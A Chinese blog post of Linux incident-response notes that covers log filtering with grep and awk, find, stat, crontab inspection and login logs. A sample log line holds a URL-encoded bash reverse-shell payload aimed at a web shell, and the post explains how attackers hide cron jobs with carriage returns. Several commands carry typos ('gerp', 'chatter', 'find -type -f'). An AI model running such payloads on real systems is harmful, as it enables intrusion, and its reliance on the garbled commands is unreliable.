应急响应命令(Linux)

netstat -anultp  查看进程(用来判断开启了哪些服务等)
ls -al  查看目录下所有文件,包括隐藏文件
ls -alt  查看目录下所有文件,包括隐藏文件,按时间顺序排序
cat  access.log  |  wc -l  查看文件的行数  wc -l是查看文件行数的意思
cat  -e  access.log | grep  1.php  查找accsee.log文件中含有关键字1.php的行
cat  access.log  | grep  -a  1.php 这俩用处一样
复制代码
awk正则匹配过滤文本命令

参考文章
https://blog.csdn.net/weixin_44657888/article/details/134817128

awk [参数] [处理内容] [操作对象] 

例如,access.log日志每行如下
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200 242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"$
访问者ip 时间 请求头 请求路径 URL http版本 状态码  长度
awk  '{print $1}'  access.log  此命令为匹配字段为1的数据并只显示字段为1的数据 
即可筛选出所有IP
grep -v 反选目标
awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7
复制代码

 

grep命令
gerp -v  "xxx"  11.txt   反选xxx内容,反选存在xxx内容的这行

gerp -i  "xxx"  11.txt 不区分xxx的大小写

grep -n "xxx"  11.txt  查找含有xxx内容的行以及行号

grep -r "xxx"  搜寻当前目录以及子目录中所有包含xxx的行
awk '{print $1 $4 $7}' access.log.1 | grep -i 192.168.1.5 | grep "/user"

组合命令 
复制代码
find命令
参考文章:
https://zhuanlan.zhihu.com/p/544622346

https://blog.csdn.net/inxunxun/article/details/128164047

https://blog.csdn.net/feyehong/article/details/135829108

find . 或者 find  都是搜当前目录

find . -type -f  -perm 777  查找权限为777的文件

find .  -name  "*.php"  ! -perm 664
找出当前目录下权限不是644的php文件,感叹号是反选

find  -path  指定路径查找文件

find  -name "xxx*" 查找当前目录文件名字xxx开头的文件

find查找时间对应的文件

time单位为天   min单位为分钟
-atime  -amin  xx天/分钟访问过的文件   access
-ctime  -cmin   xx天/分钟改变文件状态的文件   change  
-mtime  -mtim  xx天/分钟改变文件内容的文件   modify

find .  -type  f   -atime -7
查找最近七天内被访问的文件

find . -type f  -atime 7
查找七天前被访问过的所有文件

find . -type f -atime +7
搜索超过七天被访问过的所有文件

-mtime 0表示查找在今天内被修改过的文件,-mtime -1表示查找在过去一天内被修改过的文件
复制代码

我们通过stat来判断文件时间信息,当我们再用echo进行重新写入的时候发现文件时间更改了,这里是要注意的点,因为我们有时候需要保证文件时间信息,当你查看文件或者误操作导致文件时间进行了修改那么可能对于对文件判断会有一些操作花费更多的时间,所以这里需要注意。


发现确实是一句话木马文件,我们如果害怕对文件内容不小心做出修改我们也可以使用如下命令进行文件备份操作,使用chattr进行文件锁死,防止文件传播复制。

cp  muma.php   muma.php.bak

chatter muma.php.bak
crontab -l  查看所有定时任务
crontab -e   查看所有定时任务的隐藏任务
定时任务在/etc/crontab 文件
当前用户的crontab任务列表配置文件。当然也可以直接打开,路径通常是在/var/spool/cron/下,文件以用户名命名,如/var/spool/cron/root
查看隐藏定时任务参考文章:https://cloud.tencent.com/developer/article/2388738
原理:前面已经说过执行crontab -l其实就是执行“cat /var/spool/cron/crontabs/当前登录用户的用户名”,而cat命令自身存在一定缺陷,它会自动识别转义字符,比如执行命令printf "123\r" > 1.txt,
执行完成后使用cat命令读取该文件,如图1-5所示,可以看到无法读取123,只有Vim才可以看见文件的内容,如图1-6所示。那么,攻击者可以利用这个特性,写入一个无法被crontab -l获取的计划任务。

 

1
2
3
/var/log/lastlog
记录最后一次登录的时间、IP 等信息
用 lastlog 命令查看,会根据 UID 排序显示

 

/var/log/secure

系统安全日志,记录用户登录认证情况,如 pop3、ssh、telnet、ftp 等记录

只要涉及到需要账号密码的操作,不管成功与否都会记录

 

/var/log/wtmp

永久记录每个用户登录注销及系统启动停机事件

log 文件无法直接打开查看,用 last 命令查看文件信息

上图中每列分别显示用户名、端口、从哪儿登录、登录时间、登出时间、登录时长

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

posted @   链宁区块链安全服务  阅读(18)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
历史上的今天:
2020-07-12 待学习
2020-07-12 记MSSQL和MYSQL
2020-07-12 Redis是什么?
2020-07-12 简单学习 SQL and NOSql
点击右上角即可分享
微信分享提示